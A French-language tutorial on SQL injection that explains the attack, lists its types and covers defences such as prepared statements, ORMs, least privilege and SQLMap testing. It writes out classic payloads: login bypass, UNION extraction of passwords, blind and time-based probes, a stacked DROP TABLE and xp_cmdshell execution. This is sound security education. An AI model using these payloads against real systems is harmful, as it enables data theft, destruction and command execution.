Injection SQL
L'injection SQL est une technique d'attaque réseau courante où les attaquants injectent des instructions SQL malveillantes dans des champs de saisie ou des requêtes afin de manipuler la base de données pour qu'elle exécute des opérations non prévues.
Ses objectifs incluent généralement :
- Vol de données sensibles
- Contournement de l’authentification
- Modification ou suppression du contenu de la base de données
- Exécution de commandes système, etc.
Comment fonctionne l’injection SQL
-
Validation insuffisante des entrées: Lorsqu’une application web ne valide pas correctement les entrées utilisateur, les attaquants peuvent insérer du code SQL dans les champs de saisie.
-
Concaténation d’instructions SQL: Le backend de l’application concatène généralement les entrées utilisateur avec les requêtes SQL pour former une instruction de requête de base de données complète.
-
Exécution de code SQL malveillant: Si l’application n’assainit pas ou n’échappe pas correctement les entrées, le code SQL malveillant sera exécuté par le serveur de base de données.
-
Fuite ou destruction de données: Les attaquants peuvent utiliser l’injection SQL pour interroger, modifier ou supprimer des données dans la base de données, ou exécuter des commandes système du système de gestion de base de données.
Requête normale
Lorsque les utilisateurs se connectent à un site web, ils saisissent généralement un nom d’utilisateur et un mot de passe.
Voici un code de requête SQL normal :
SELECT * FROM users WHERE username = 'user1' AND password = 'password1';
Attaque par injection
Si un attaquant saisit :
用户名: admin' -- 密码: anything
La requête SQL devient :
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';
Où--est le symbole de commentaire de SQL, qui ignore la condition de mot de passe et contourne directement l'authentification.
Types courants d'injection SQL
1. Injection SQL de base
Intégrer directement du code SQL malveillant dans l'entrée utilisateur pour affecter la logique de la requête.
输入用户名:admin' OR '1'='1 输入密码:anything
Requête SQL exécutée :
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';
Résultat :
OR '1'='1' est toujours vrai, ce qui peut contourner l'authentification.
2. Injection par requête UNION
Utiliser UNION pour fusionner les résultats de requête forgés par l'attaquant avec les résultats de requête légitimes, afin d'obtenir des données sensibles.
Entrée :
' UNION SELECT null, username, password FROM users --
Requête SQL exécutée :
SELECT id, name FROM products WHERE id = '' UNION SELECT null, username, password FROM users --';
Résultat :
Retourne les données de nom d'utilisateur et de mot de passe de la table users comme résultat.
3. Injection SQL basée sur les erreurs
En déclenchant intentionnellement des erreurs de base de données, en utilisant les messages d'erreur pour déduire les noms de tables, les noms de colonnes ou les données.
Entrée :
' AND 1=CONVERT(int, (SELECT @@version)) --
Requête SQL exécutée :
SELECT * FROM users WHERE username = '' AND 1=CONVERT(int, (SELECT @@version)) --';
Résultat :
Les messages d'erreur peuvent exposer la version de la base de données ou d'autres informations.
4. Injection SQL à l'aveugle
Lorsque les résultats de requête ne peuvent pas être obtenus directement, les attaquants déduisent les données étape par étape en évaluant la réponse de la page renvoyée (comme des valeurs booléennes ou des délais temporels).
Injection à l'aveugle basée sur les booléens, entrée :
' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --
Requête SQL exécutée :
SELECT * FROM users WHERE username = '' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --';
Résultat :
Déterminer si la première lettre du nom de la base de données est 't' en fonction du résultat renvoyé.
Injection à l'aveugle basée sur le temps, entrée :
' AND IF(1=1, SLEEP(5), 0) --
Requête SQL exécutée :
SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) --';
Résultat :
Si la condition est remplie, le serveur retarde la réponse de 5 secondes, divulguant ainsi des informations.
5. Injection par requêtes empilées
Permet d'exécuter simultanément plusieurs instructions SQL.
Entrée :
'; DROP TABLE users; --
Requête SQL exécutée :
SELECT * FROM users WHERE username = ''; DROP TABLE users; --';
Résultat :
La table users est supprimée.
Certaines bases de données (comme MySQL) ne prennent pas en charge l'exécution de plusieurs instructions par défaut.
6. Injection par procédure stockée
Injection de SQL malveillant à l'aide des paramètres d'entrée des procédures stockées.
Entrée :
'; EXEC xp_cmdshell('dir'); --
SQL exécuté :
EXEC LoginProcedure 'username', ''; EXEC xp_cmdshell('dir'); --'
Résultat :
Exécute des commandes système (comme lister des répertoires).
7. Injection par Cookie
Injection en modifiant les valeurs de Cookie stockées dans le navigateur.
Cookie: session_id=' OR '1'='1;
Le serveur exécute du SQL malveillant lors de l'analyse des Cookies.
Dangers de l'injection SQL
- Fuite de données :Les attaquants obtiennent des informations sensibles telles que les noms d'utilisateur, les mots de passe et les numéros de carte bancaire depuis la base de données.
- Élévation de privilèges :Les attaquants peuvent obtenir des privilèges d'accès plus élevés en injectant des commandes.
- Altération de données :Le contenu de la base de données est modifié ou supprimé.
- Interruption de service :Du code SQL malveillant peut faire planter la base de données, affectant la disponibilité du système.
- Exécution de commandes système :Via les fonctions d'extension de base de données, les attaquants peuvent manipuler directement le système d'exploitation.
Mesures de prévention
1. Requêtes paramétrées et instructions préparées
Utilisez des requêtes paramétrées ou des instructions préparées pour séparer les entrées utilisateur des instructions SQL, empêchant les entrées utilisateur d'être directement analysées comme du code SQL.
Code Java :
Exemple
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
Node.js (module MySQL) :
Exemple
connection.query(query, [username, password], (err, results) => {
if (err) throw err;
// Gérer les résultats
});
2. Utilisation de frameworks ORM
Idée principale : les ORM (tels que Hibernate, Sequelize, etc.) génèrent automatiquement des requêtes SQL, réduisant considérablement le risque de concaténer manuellement du SQL, évitant ainsi l'injection.
// 使用 Sequelize
const user = await User.findOne({
where: { username: 'admin', password: 'password123' }
});
3. Validation des entrées
Vérifier strictement si les entrées utilisateur correspondent aux attentes et rejeter les entrées non conformes aux règles.
Utiliser des expressions régulières pour les noms d'utilisateur, les adresses e-mail, etc., et n'autoriser que les entrées numériques pour les champs de type numérique.
Échapper les caractères spéciaux (par exemple, convertir " en \").
const username = req.body.username.replace(/[^a-zA-Z0-9]/g, ''); // 清理特殊字符
4. Restreindre les autorisations de la base de données
Attribuer des autorisations minimales aux utilisateurs de la base de données, en n'autorisant que les opérations nécessaires.
- Restreindre les autorisations d'écriture :N'autoriser que les opérations INSERT et UPDATE sur les tables correspondantes, et interdire les opérations à haut risque telles que DROP et ALTER.
- Séparer les autorisations de lecture/écriture :Utiliser un compte en lecture seule pour accéder à la base de données.
Créer un utilisateur en lecture seule :
CREATE USER 'readonly_user'@'%' IDENTIFIED BY 'secure_password'; GRANT SELECT ON database_name.* TO 'readonly_user'@'%';
5. Tests de sécurité réguliers
Vérifiez régulièrement les vulnérabilités potentielles d'injection SQL dans le code à l'aide d'outils d'analyse de sécurité ou de tests manuels.
Nous pouvons utiliser l'outil open source SQLMap pour les tests.
SQLMap est un outil de test d'intrusion spécialement conçu pour la détection et l'exploitation automatisées des injections SQL.
SQLMap est largement utilisé dans les évaluations de sécurité réseau et les tests d'intrusion pour aider à découvrir et corriger les vulnérabilités d'injection SQL.
Site officiel de SQL :https://sqlmap.org/
-
Adresse open source de SQLMap :https://github.com/sqlmapproject/sqlmap